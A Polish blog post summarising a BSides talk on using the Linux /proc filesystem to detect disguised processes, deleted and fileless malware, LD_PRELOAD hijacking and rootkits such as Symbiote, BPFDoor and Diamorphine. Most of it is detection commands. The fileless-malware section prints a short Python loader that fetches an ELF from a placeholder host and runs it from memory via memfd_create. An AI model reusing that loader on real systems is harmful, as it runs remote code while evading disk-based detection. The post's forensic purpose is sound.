NFsec Logo

Podsumowanie systemu plików proc dla analityków bezpieczeństwa

03/01/2025 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 918, ilość słów: 2318)

P

odczas konferencji BSides w Monachium Stephan Berger oraz Asger Strunk przedstawili prelekcję pt. “/proc Dla Analityków Bezpieczeństwa: Ujawnianie Ukrytych Zagrożeń i Skarbów dla Informatyki Śledczej” (ang. “/proc For Security Analysts: Unveiling Hidden Threats And Forensic Treasures”), której agenda oraz poruszane tematy idealnie pasują, aby przeprowadzić małe podsumowanie tego zestawu tematów na przykładach poruszanych w szerszym zakresie na łamach NF.sec. Dlatego pozwolę sobie na małą transkrypcję owej prelekcji wraz z odsyłaniem do bardziej obszernych publikacji zagłębiających się w poruszane tematy. Oprócz dobrze już nam znanych zagadnień autorzy dodali również klika nowych smaczków, z których możemy dowiedzieć się nowych rzeczy i uzupełnić swój warsztat.

Wprowadzenie:

Katalog /proc (zwany również jako system plików proc / procfs – wirtualny system plików) zawiera hierarchię specjalnych plików reprezentujących aktualny stan działającego systemu (jądra). Pozwala to aplikacjom oraz użytkownikom na wgląd w widok systemu z poziomu jądra oraz manipulowanie niektórymi plikami, aby dynamicznie przekazywać zmiany w jego konfiguracji. Zawiera on wiele informacji na temat sprzętu systemowego i uruchomionych procesów:

root@darkstar:~# find /proc/[0-9]* -maxdepth 0 -type d | sort -V | head
/proc/1
/proc/2
/proc/3
/proc/4
/proc/5
/proc/6
/proc/8
/proc/10
/proc/11
/proc/12

Jeśli kiedykolwiek zastanawialiśmy się jak działa narzędzie lsof lub ps możemy wydać proste polecenie:

root@darkstar:~# strace -e trace=openat ps
openat(AT_FDCWD, "/proc/uptime", O_RDONLY) = 3
openat(AT_FDCWD, "/proc/sys/kernel/pid_max", O_RDONLY) = 4
openat(AT_FDCWD, "/proc/sys/kernel/osrelease", O_RDONLY) = 4
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/5/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/6/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/6/status", O_RDONLY) = 6

aby przekonać się, że de facto iteruje ono przez katalog /proc i zbiera potrzebne mu informację. Dzięki temu z “katalogu” /proc możemy dowiedzieć się o: linii poleceń i katalogu roboczym procesu; zmiennych środowiskowych; deskryptorach plików (otwartych plikach, gniazdach); statusie procesu; informacji o połączeniach sieciowych; zmapowanej pamięci i wielu innych artefaktach. Więcej informacji znajdziemy w “prezentacji” tego systemu plików oraz stronach podręcznika.

Wartości /proc dla Informatyki Śledczej:

W przypadku procesów, które są nadal uruchomione, ich argumenty wiersza poleceń pojawiają się w plikach cmdline systemu plików proc w takim samym układzie, w jakim pojawiają się w pamięci procesu. Ale procesy mają swobodę nadpisywania obszaru pamięci. Jeśli proces modyfikuje swoje argumenty wiersza poleceń po wywołaniu systemowym execve(), pojawią się one tutaj. Pomyślmy o tym pliku jak o wierszu poleceń, który proces chce nam pokazać:

root@darkstar:~# ps aux | grep 3600
root  2715802  0.0  0.1  6132  1792  pts/1  S  07:37  0:00  [kworkerd] 3600

root@darkstar:~# cat /proc/2715802/comm
[kworkerd]

root@darkstar:~# cat /proc/2715802/cmdline
[kworkerd] 3600

Możemy również sprawdzić z jakiego katalogu roboczego został uruchomiony dany proces:

root@darkstar:~# ls -al /proc/2715802/cwd
lrwxrwxrwx 1 root root 0 Oct 26 07:38 /proc/2715802/cwd -> /tmp

Widzimy, że cwd jako link symboliczny kieruje do katalogu tymczasowego, co stanowi czerwoną flagę. Możemy również sprawdzić zmienne środowiskowe takiego procesu:

root@darkstar:~# strings /proc/2715802/environ
SHELL=/bin/bash
PWD=/tmp
LOGNAME=root
XDG_SESSION_TYPE=tty
HOME=/root

Plik environ zawiera początkowe zmienne środowiskowe, które zostały ustawione, gdy aktualnie wykonywany program został uruchomiony za pomocą execve(). Jeśli po tym wywołaniu systemowym proces zmodyfikuje swoje zmienne środowiskowe (np. wywołując takie funkcje jak putenv() lub modyfikując zmienną środowiskową bezpośrednio), plik ten nie odzwierciedli tych zmian. Daje nam to dobry obraz z jakimi startowymi wartościami uruchamiał się proces lub co chciał zamaskować. Kolejnym artefaktem są deskryptory plików:

root@darkstar:~# ps aux | grep -i vi
root 2716698 1.7 1.4 26344 14336 pts/2 Sl+ 07:46 0:00 vi tools/uac-3.0.0-rc2/LICENSES.md

root@darkstar:~# ls -l /proc/2716698/fd
[...]
lrwx------ 1 root root 64 Oct 26 07:47 4 -> /root/tools/uac-3.0.0-rc2/.LICENSES.md.swp

fd to podkatalog zawierający jeden wpis dla każdego pliku otwartego przez dany proces, nazwany według jego deskryptora pliku i będący linkiem symbolicznym do rzeczywistego pliku. Daje nam to możliwość sprawdzenia, jakich plików dotyka dany proces. W przypadku deskryptorów plików dla potoków i gniazd sieciowych, wpisy będą dowiązaniami symbolicznymi, których zawartość jest typem pliku z i-węzłem. Dla przykładu: socket:[5521323] będzie gniazdem, a jego i-węzeł to: 5521323. Numer ten może zostać później użyty do znalezienia innych informacji w plikach znajdujących się w /proc/net/.

root@darkstar:~# ls -l /proc/2715650/fd
[...]
lrwx------ 1 root root 64 Oct 26 07:56 2 -> /dev/null
lrwx------ 1 root root 64 Oct 26 07:56 3 -> 'socket:[5521323]'

root@darkstar:~# grep 5521323 /proc/net/tcp
37: 465C3B92:0016 CCA0E659:B29C 01 00000000:00000000 00:00000000 
    00000000 0 0 5521323 1 ffff947403f6bd40 22 4 31 10 -1

I prawie na końcu jest plik maps – zawierający aktualnie mapowane obszary pamięci i uprawnienia dostępu do nich. Format tego pliku jest następujący:

root@darkstar:~# cat /proc/330337/maps

address                   perms  offset   dev   inode  pathname

5614b99e4000-5614b99f0000 r--p   00000000 08:01 10744  /usr/libexec/packagekitd
7f130b5ec000-7f130b643000 r--p   00000000 08:01 11198  /usr/lib/locale/C.utf8/LC_CTYPE
5614d9608000-5614d96f0000 rw-p   00000000 00:00 0      [heap]

Jest to szybki przegląd niektórych rzeczy pomagających w informatyce śledczej jeśli chodzi o /proc. Jeśli zaczniemy w nim bardziej grzebać znajdziemy znacznie więcej przydatnych informacji.

Zamaskowane procesy:

Wracając do naszego procesu [kworkerd] – czy rzeczywiście jest on procesem jądra systemowego?

Wszystkie wątki jądra są potomkami kthreadd (pid 2), który jest uruchamiany przez jądro (pid 0) podczas rozruchu. Kthreadd enumeruje inne wątki jądra; zapewnia procedury interfejsu, dzięki którym inne wątki jądra mogą być dynamicznie tworzone w czasie wykonywania przez usługi jądra. Wątki jądra można przeglądać z wiersza poleceń za pomocą polecenia: ps -ef — są one wyświetlane w [nawiasach kwadratowych]:

root@darkstar:~# cat /proc/127898/status
Name:	[kworkerd]
Umask:	0002
State:	S (sleeping)
Tgid:	127898
Ngid:	0
Pid:	127898
PPid:	2397

Raczej nie bo jego proces nadrzędny (rodzic) nie posiada wartości “2“, jak ma to w przypadku prawdziwego procesu:

root@darkstar:~# cat /proc/330343/status
Name:	kworker/3:2-events
Umask:	0000
State:	I (idle)
Tgid:	330343
Ngid:	0
Pid:	330343
PPid:	2

Jeśli sprawdzimy teraz zmapowane obszary pamięci procesu zobaczymy:

root@darkstar:~# ps aux | grep 3600
root  2715802  0.0  0.1  6132  1792  pts/1  S  07:37  0:00  [kworkerd] 3600

root@darkstar:~# cat /proc/2715802/maps
aaaae77a0000-aaaae7a1000 r-xp 00000000 08:02 1350400 /home/parallels/malware
[...]
ffffb884d000-ffffb8850000 r--p 0019d000 08:02 534028 /usr/lib/aarch64-linux-gnu/libc.so.6

Gdzie prawdziwy proces jądra tutaj nie ma żadnych wartości:

root@darkstar:~# cat /proc/330343/maps
root@darkstar:~#

Podobnie jest w przypadku pliku wykonywalnego:

root@darkstar:~# ps aux | grep 3600
root  2715802  0.0  0.1  6132  1792  pts/1  S  07:37  0:00  [kworkerd] 3600

root@darkstar:~# sha256sum /proc/2715802/exe
9e7caf2d605cf1651e367e465b933dbc434be2c4d8c68fcefdd0ec1dc1f63390 exe

Poznając jego skrót możemy sprawdzić, czy nie jest on znany wśród szkodliwego oprogramowania. Plus rzeczywisty proces jądra również nie zwróci nam żadnej wartości:

root@darkstar:~# sha256sum /proc/330343/exe
sha256sum: exe: No such file or directory

Na tym etapie warto wspomnieć, że jeśli szkodliwe oprogramowanie zmieniło LD_PRELOAD to jest wielce prawdopodobne, że polecenie ps może zakłamywać nam wyniki swojego działania. Na szczęście tego typu zabieg można również wykryć.

Bezplikowy malware:

W przypadku systemów Linux szkodliwe oprogramowanie bardzo często usuwa swoje ślady z dysku lub od razu ładuje się do pamięci za pomocą osławionego memfd_create, aby uniknąć wykrycia poprzez skanowanie systemu plików:

root@darkstar:~# ps aux | grep 3600
root  2715802  0.0  0.1  6132  1792  pts/1  S  07:37  0:00  [kworkerd] 3600

root@darkstar:~# ls -l /proc/2715802/cwd
lrwxrwxrwx  1  root  root  0  Oct  26  07:38  /proc/2715802/cwd -> /tmp

root@darkstar:/tmp# ls *kworkerd*
ls: cannot access '*kworkerd*': No such file or directory

Oprócz kolejnej czerownej flagi powiewającej przy wątku jądra, którego katalog roboczy znajduje się w lokalizacji dla plików tymczasowych – mamy jeszcze informację, że dany plik w tej ścieżce nie istnieje. Skoro takiego pliku nie ma w podanym katalogu to czy można go odzyskać? Tak – o ile proces jest cały czas uruchomiony i załadowany w pamięci systemu. Wystarczy go zrzucić z odpowiedniej ścieżki w /proc:

root@darkstar:/proc/2715802# ls -l exe
lrwxrwxrwx  1  root  root 0  Oct  26  07:38  exe -> '/tmp/[kworkerd] (deleted)'

root@darkstar:/proc/2715802# cp exe /tmp/kworkerd_dumped

root@darkstar:/proc/2715802# file /tmp/kworkerd_dumped
/tmp/kworkerd_dumped: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=f098c4424cecb322b2becd59b2fd70deedf1fdac, for GNU/Linux 3.2.0, stripped

Mimo, że tego typu procesy próbują ukryć swoją obecność w systemie plików to jednak w /proc zawsze odnotowana jest tego typu aktywność: (deleted):

url = 'http://$ip/$name.elf'
bin = urllib.urlopen(url).read()
fdd = ctypes.CDLL(None).syscall(319,'',1)
ffd = open('/proc/self/fd/'+str(fdd),'wb')
ffd.write(bin)
ffd.close()
os.execl('/proc/self/fd/'+str(fdd),'[dfir-kthread]')
root@darkstar:~# ls -alR /proc/*/exe 2> /dev/null | grep memfd:.*\(deleted\)

Symbiote – /proc/net/tcp:

Rootkit, który dobrze maskuje swoją aktywność sieciową – szczególnie jeśli chodzi o informacje z /proc/net/tcp – jeśli aplikacja próbowała otworzyć wspomniany plik szkodliwe oprogramowanie tworzyło tymczasowy plik i kopiowało do niego pierwszy wiersz z oryginału. Następnie skanowało każdy wiersz pod kątem obecności określonych portów. Jeśli znajdowało port, którego szukało w skanowanym wierszu, przechodziło do następnego wiesza pomijając jego kopiowanie. Zasadniczo dawało to aplikacji wyczyszczone wyniki, które wykluczały wszystkie wpisy połączeń sieciowych, które rootkit chciał ukryć. Jednak, jak zauważa autor wykładu wszystko w Linuksie jest plikiem, a to nie jest jedyny plik, który śledzi połączenia sieciowe. W zależności od konfiguracji naszego systemu i faktu czy używamy na nim stanowej zapory sieciowej – możemy spotkać się z plikiem nf_conntrack, który kiedyś był do znalezienia w ścieżce: /proc/net/nf_conntrack. Aktualnie, czy jest on obecny w systemie lub nie – decyduje ustawienie: CONFIG_NF_CONNTRACK_PROCFS, które najczęściej nie jest już aktywne w wielku dystrybucjach:

root@darkstar:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 22.04.5 LTS
Release:	22.04
Codename:	jammy

root@darkstar:~# grep 'CONFIG_NF_CONNTRACK_PROCFS' /boot/config-5.15.0-130-generic
# CONFIG_NF_CONNTRACK_PROCFS is not set

Jak podaje dokumentacja plik ten został zastąpiony przez narzędzie conntrack, które zamiast tego korzysta z interfejsu API jądra netlink(7). Dzięki temu możemy spoglądać na dynamiczną listę połączeń, gdy tylko jakieś zostanie nawiązane, zmodyfikowane lub zakończone:

root@darkstar:~# conntrack -L -p tcp --dport 9191
tcp  6 9 CLOSE src=1.2.3.4 dst=4.3.2.1 sport=34932 dport=9191
               src=4.3.2.1 dst=1.2.3.4 sport=9191  dport=34922 [ASSURED] mark=0 use=1

Dzięki temu mamy szansę porównania, co mówi nam tablica z jednego i drugiego źródła, aby znaleźć “kłamcę”:

root@darkstar:~# netstat -naplet | grep ESTABLISHED | grep ':22 '
tcp  0  52 1.5.9.7:22  8.2.1.2:49715  ESTABLISHED 0  19517598  3642789/sshd: agresor
tcp  0   0 1.5.9.7:22  8.2.1.2:43970  ESTABLISHED 0  19517534  3642710/sshd: agresor

root@darkstar:~# conntrack -L -p tcp --dport 22 --state ESTABLISHED
tcp 6 431993 ESTABLISHED src=8.2.1.2 dst=1.5.9.7 sport=43970 dport=22 
                         src=1.5.9.7 dst=8.2.1.2 sport=22    dport=43970 [ASSURED] mark=0
tcp 6 299    ESTABLISHED src=8.2.1.2 dst=1.5.9.7 sport=49715 dport=22 
                         src=1.5.9.7 dst=8.2.1.2 sport=22    dport=49715 [ASSURED] mark=0

Należy jednak zachować czujność, gdy conntrack pokaże nam wpis, który nie istnieje w netstat – ponieważ może okazać się, że widnieje tam połączenie np. w stanie ESTABLISHED, ale powoli ono wygasa – to znaczy, że nie aktualizuje swojego licznika (3 kolumna), który za każdym wywołaniem polecenia zmniejsza swoją wartość dążąc do zera.

BPFDoor:

Kolejnym przykładem jest BPFDoor – o ile jego techniki ukrywania są dobre – to zanim do nich dojdzie oprogramowanie to przechodzi przez wiele potykaczy, które nie są standardowym zachowaniem procesów uruchamianych w systemie Linux. Po pierwsze mamy ponownie zjawisko usuwania swojego pliku binarnego z dysku po uruchomieniu (patrz wyżej: (deleted)). Po drugie robi to z katalogu /dev/shm (co stanowi też czerwoną flagę) – jako administrator (bo musisz mieć uprawnienia użytkownika root, aby zapisywać i odczytywać z tego katalogu). Dlatego jego wykrycie polega na prostym monitorowaniu, jakie pliki binarne są uruchamiane z tego katalogu.

Zabawy z /proc:

Na slajdach możemy zobaczyć omówienie chowania dowolnego procesu za pomocą polecenia mount. Najszybciej taka anomalia może zostać zauważona poprzez sprawdzenie punktów montowania, które posiadają frazę “/proc” + “$PID“:

root@darkstar:~# findmnt | egrep "\/proc\/[0-9]+" | grep "\["
│ ├─/proc/1027 /dev/sda2[/tmp/.hidepid] ext4 rw,relatime

root@darkstar:~# egrep "\/proc\/[0-9]+" /proc/mounts
/dev/sda2 /proc/1027 ext4 rw,relatime 0 0

Wykrywanie rootkitów z /proc:

Ostatnim tematem poruszanym na prezentacji są okruszki pozostawiane przez popularne rootkity. Na pierwszy ogień poszły ślady pozostawiane przez ich skażone moduły jądra:

root@darkstar:~# egrep '(\(.*\)|OE)' /proc/modules
suspicious_module 110592 2 - Live 0xffffffffc0724000 (OE)

root@darkstar:~# dmesg | egrep '(out-of-tree|taint)'
[1.095599] suspicios_module: loading out-of-tree module taints kernel.
[1.095600] suspicios_module: module verification failed: 
                             signature and/or required key missing 
                             - tainting kernel

Jeśli trafimy na taki wpis bardzo możliwe, że posiadamy zainstalowany rootkit na naszym systemie, który próbuje ukryć aktywność innych procesów. Prowadzący ponownie zwraca uwagę, że w takim przypadku dobrą praktyką jest porównywanie wyników z wspomnianego polecenia ps z rzeczywistymi wpisami w katalogu /proc. Przy okazji tego typu czynności poleca narzędzie o nazwie Unhide. Wykład powraca ponownie do wcześniej wspomnianej techniki ładowania bibliotek współdzielonych za pomocą LD_PRELOAD, które mogą przekłamywać wyniki różnych poleceń systemowych. Najprostszym sposobem ich wykrycia jest przeszukanie zmiennych środowiskowych z jakimi został uruchomiony proces:

root@darkstar:~# cat /proc/45560/envirion
SHELL=/bin/bashPWD=/rootLOGNAME=rootLD_PRELOAD=/tmp/malware.so

root@darkstar:~# grep malware /proc/45560/maps
7f4c910c4000-7f4c91164000 r--p 00000000 08:01 777022  /tmp/malware.so
7f4c91164000-7f4c91483000 r-xp 000a0000 08:01 777022  /tmp/malware.so

lub sprawdzenie globalnej konfiguracji dla systemu:

root@darkstar:~# cat /etc/ld.so.preload

Na końcu prelekcji wspomniany zostaje rootkit Diamorphine, który jest szeroko wykorzystywany przez grupy APT oraz jako baza dla innego szkodliwego oprogramowania. W standardowej konfiguracji można go wykryć zaglądając do /proc/kallsyms (pliku, który zawiera eksportowane przez jądro nazwy funkcji i zmienne używane m.in. przez ładowane moduły):

root@darkstar:~# grep diamorphine /proc/kallsyms
fffffffffc0673000 T diamorphine_init [diamorphine]

Podsumowanie:

Prezentacja pokazuje wiele technik i informacji z systemu plików /proc, jakie można wykorzystać przy detekcji szkodliwego oprogramowania. Zgłębiając wszystkie przedstawione informacje można dojść do wniosku, że nie istnieje takie zjawisko jak “kompletna niewidzialność w systemie”. Niezależnie od poziomu zaawansowania tego, co przedostanie się do naszego lub kogoś systemu zawsze jesteśmy w stanie znaleźć ślady niepożądanej obecność, które doprowadzą nas do źródła zagrożenia.

Więcej informacji: /proc For Security Analysts: Unveiling Threats And Forensic Treasures – Stephan Berger & Asger Strunk

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.